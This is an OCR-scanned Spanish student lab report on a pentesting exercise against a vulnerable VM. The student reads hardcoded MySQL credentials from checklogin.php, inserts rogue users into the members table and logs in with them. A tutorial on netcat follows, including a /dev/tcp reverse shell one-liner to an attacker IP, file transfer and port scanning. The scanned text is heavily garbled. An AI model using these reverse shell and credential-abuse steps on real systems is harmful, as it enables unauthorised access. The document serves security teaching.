bash-4.1% 1s -1a

root

root

apache
apache
apache
apache
apache
apache
apache

Bl 2 RDLD R RO =)

bash-4.1% 1s -la

1s -la
total 172
drwxr-xr-x
drwxr-xr-x.
-TW-T—TI—.
-TW-Tr—Tr—.
Trwxrwxrwx.
-TW-T—I—.
-rw-r—r—.
-TW-T—TI—.
-TW-Tr—Tr—.
-TW-T—I—.
-TW-T—I—.
drwxrwxTrw .

[ e ]

root

root

apache
apache
apache
apache
apache
apache
apache

apache apache
root root
apache apache
apache apache
apache apache
apache apache
apache apache
apache apache
apache apache 13
apache apache
apache apache
apache apache

4096
4096
4096
4096
4096
4096
783
62
4096

4@96
4096
131@
1216
14
191
45
1396
1736
1642
372
4@96

Now
Nowv
Now
Now
Now
Now
Nowv
Now
Now
Now
Now
Sep

MNow
MNow
MNow
MNow
MNow
MNow
MNow
MNow
MNow

17
25
17
17
17
17
17
17
17
17
17

8

25 2815 .

17 2815 ..

25 2015 beer

25 2815 cola

17 2815 fristi

25 2015 images

17 2815 index.html
17 2815 robots.txt
25 2815 sisi

2015 .

2815 ..

2015 checklogin.php
2015 do_upload.php
2015 index.php — main_login.php
2015 login_success.php
2015 logout.php

2015 main_login.php
2015 pic.b64

2015 pic2.bb4

2015 upload.php

18:48 uploads



2.1.3 Lectura de credenciales en codigo fuente

Revisé el archivo y encontré los datos de acceso a MySQL:
cat checklogin.php

Credenciales descubiertas:
e Usuario: eezeepz
e Contrasena: 4l13maall2#
e Base de datos: hackmenow

bash-4.1$% cat checklogin.php
cat checklogin.php
<?php

ob_start();

$host="localhost™; // Host name
$username="eezeepz”; // Mysqgl username
$password="4113maall24™; // Mysqgl password
$db_name="hackmenow"; // Database name
$tb1l_name="members”; // Table name

// Connect to server and select databse.
mysql_connect( " $host”, "$username”, "$password”)or die("cannot connect”);
mysql_select_db("$db_name” )or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=%_POST[ "myusername’];

$mypassword=$%_POST[ 'mypassword' ];

// To protect MySQL injection (more detail about MySQL injection)

$myusername = stripslashes($myusername);
$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
$mypassword = mysql_real_escape_string($mypassword);

$sql="SELECT * FROM $tbl_name WHERE username='$myusername’ and password='$mypassword’";
$result=mysql_query($sql);

// Mysgl_num_row is counting table row
$count=mysgl_num_rows($result);

// If result matched $myusername and $mypassword, table row must be 1 row
if($count=1){

// Register $myusername, $mypassword and redirect to file "login_success.php”
session_register(“myusername”);

session_register("mypassword”);

header(~location:login_success.php”);

b

else {

echo "Wrong Usernmame or Password”;

ob_end_flush();
>



2.1.4 Acceso a MySQL

Usé las credenciales encontradas para entrar a MySQL.:
mysql -u eezeepz -p
Ingresé la clave 4113maall2# y accedi con éxito.

bash-4.1% MysSQL -u eezeepz -p

MySQL -u eezeepz —p

bash: MysQL: command not found
bash-4.1% mysgl -u eezeepz -p

mysgl -u eezeepz -p

Enter password: 4113maalilz#

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5

Server version: 5.1.73 Source distribution

Copyright (c) 2eee, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
OWNETS.

Type "help;’ or '\h' for help. Type '\c' to clear the current input statement.

2.1.5 Explorar la base de datos
Verifiqué las bases de datos disponibles:
SHOW DATABASES;

mysql> SHOW DATABASES;
SHOW DATABASES;

Database

hackmenow

—— np m—

+
|
+
| information_schema
|
+
2 rows in set (@.88 sec)

SHOW TABLES

mysgl> USE hackmenow;
USE hackmenow;
Database changed
mysgl> SHOW TABLES;
SHOW TABLES;

+ +
| Tables_in_hackmenow |
+ +
| members |
+ +

1 row in set (@.80 sec)




La tabla members contenia los usuarios del portal.

mysgl> DESCRIBE members;
DESCRIBE members;

+ i+ i+

| Field | Type | Null
+ i+ i+

| id | int(4) | NO

| username | varchar(65) | NO
|
+
3

Key Default Extra

PRI NULL
NULL

NULL

auto_increment

password | varchar(es) | NO
i i
rows in set (@.8@ sec)

o e —— o —
o e —— o —
o e —— o —
o e —— o —

2.1.6 Verificar usuarios existentes

Consulté los registros:
SELECT * FROM members;

mysql> SELECT * FROM members;

SELECT * FROM members;

+ i i i
| id | username | password |
+ i i i
| 1 | eezeepz | keKkeKKeKKeKkEkkEk |
+ i
1

i i
row in set (0.0@ sec)

2.1.7 Crear dos nuevos usuarios

Inserté dos usuarios adicionales llamados camilo y tello:

mysql> INSERT INTO members (username, password) VALUES ('camilo’, "camilo');
INSERT INTO members (username, password) VALUES ('camile', 'camilo');
Query OK, 1 row affected (@.00 sec)

Tlustracion 39 Usuario 1

mysql> INSERT INTO members (username, password) VALUES ('tello”, “tello’);
INSERT INTO members (username, password) VALUES ('tello’, "tello');
Query 0K, 1 row affected (0.00 sec)

llustracion 40 Usuario 2



2.1.8 Confirmar creacion de usuarios

Inserté dos usuarios adicionales llamados camilo y tello:

mysgl> SELECT * FROM members;
SELECT * FROM members;

+ + + +
| id | username | password |
+ + + +
| 1 | eezeepz | keKkeKKeKKeKkEkkEk |
| 2 | camilo | camile |
I 31 tello | tello |
+ + + +
3 rows in set (@.8@ sec)

2.1.9 Login con Usuario camilo

Member Login
Username : | camilo
Password : [camilo|

Login

LE- 2t g d=lat il 149 a
R EmoOo@ 7 ® " ¢ & ] =} A Gx oW RN

Hlustracion 41 Login con Usuario camilo




N Kali Forums X Kali NetHunter  Exploit-DB

Google Hacking DB

BO¥E#MEMTYN @D crreDeReCcHA
25 Emoc@Zdooe 2T e8N70OHE ~ G eom O

[lustracion 42 Login con Usuario camilo exitoso

2.1.10 Login con Usuario tello

Entrada D

Member Login
Username : tello
Password : [tello

Login

AONSE ¢ mEMN @D R DmRecHA
EMmMOoOo@ A ® 2™ ¢ 8 Z B ~ i
llustracion 43 Login con Usuario tello




7]

Archivo Miquina Ver Entrada Dispositivos Ayuda
B 5 0restoreses 403 Forbidden 192182192 14ftristiogin
Ty oW ) 19219219214 & 9@ 48 =

OffSec  KaliLinux & KaliTools = Kall Docs N Kali Forums X Kall NetHunter % Exploit-DB % Google Hacking DB

dll 1.ogin successful

upload file

BORG 2#MOMAN @D R
Pz BmoCAEOO:"ONNYE n 5 eue i

{lustracion 44 Login con Usuario tello exitoso



3 Comando Para Calcular Cuantos Caracteres Tiene Un Archivo
3.1 Usando wc (word count)
wc -m nombre_archivo

-m — cuenta caracteres.

tello® Freeman |- fusr/share/dirb/wordlists
$ small.txt
6561 small.txt

1lustracion 45 Comando para contar caracteres

Significa que el archivo tiene 6561 caracteres

3.2 Usando wc -c (cuenta bytes)

tello® Freeman - fusr/share/dirb/wordlists
small.txt
6561 small.txt

Hlustracion 46 Comando para contar bytes

en archivos con caracteres especiales puede dar diferencia, porque -c¢ cuenta bytes y no
necesariamente caracteres.



4 Investigar Los Comandos Del NC

4.1 Modo escucha (listener)
Sirve para que una maquina espere conexiones entrantes en un puerto:

nc -nlvp 4444
e -n — evita resoluciéon DNS (mads rapido).
e -1 — modo listen (escuchar).
e -v — verbose (modo detallado).
e -p — puerto.
Ejemplo:
nc -nlvp 1234
Escucha en el puerto 1234 esperando conexiones.

4.2  Conexion a un puerto abierto (cliente)

Conectarse a un servicio en un host:
nc 192.168.1.10 1234

Esto conecta al puerto 1234 de la maquina con IP 192.168.1.10.
4.3 Enviar o recibir archivos

Servidor (recibe el archivo):
nc -nlvp 4444 > archivo_recibido.txt

Cliente (envia el archivo):
nc 192.168.1.10 4444 < archivo.txt

4.4 Chat entre dos maquinas

En una maquina:
nc -nlvp 5555

En la otra maquina:
nc IP_del_servidor 5555

Ahora se pueden enviar mensajes entre ambas.



4.5 Reverse Shell (muy usado en pentesting)

En tu atacante (Kali):
nc -nlvp 4444

En la victima:
/bin/bash -i > /dev/tcp/192.168.1.5/4444 0<&1 2>&1

Obtienes una shell remota.
4.6 Port Scanning (escaneo rapido)
nc -zv 192.168.1.10 20-80

e -z — modo scan (sin enviar datos).
e -v — verbose.
e Escanea puertos del 20 al 80.

Resumen

e nc -nlvp 4444 — escuchar conexiones.

e nc IP PUERTO — conectarse.

e nc-zv IP 1-1000 — escaneo de puertos.

e nc -nlvp 4444 > file / < file — transferencia de archivos.
e Reverse shell con nc — acceso remoto.



5 Conclusion

Este laboratorio me permitié afianzar mis conocimientos en pruebas de penetracion y
entender como a partir de fallos pequenos en un sistema se puede llegar a comprometerlo por
completo. Més alla de las herramientas utilizadas, lo mas importante fue comprender la logica
de un ataque: enumerar, analizar, explotar y mantener acceso. La practica también me ayudo
a valorar la importancia de la seguridad en servidores web y bases de datos, ya que muchas
veces la falta de proteccion adecuada deja expuesta informacion critica. Considero que la
experiencia fue muy enriquecedora porque me dio una vision mas real de como se aplican en
la practica los conceptos de ciberseguridad vistos en clase.
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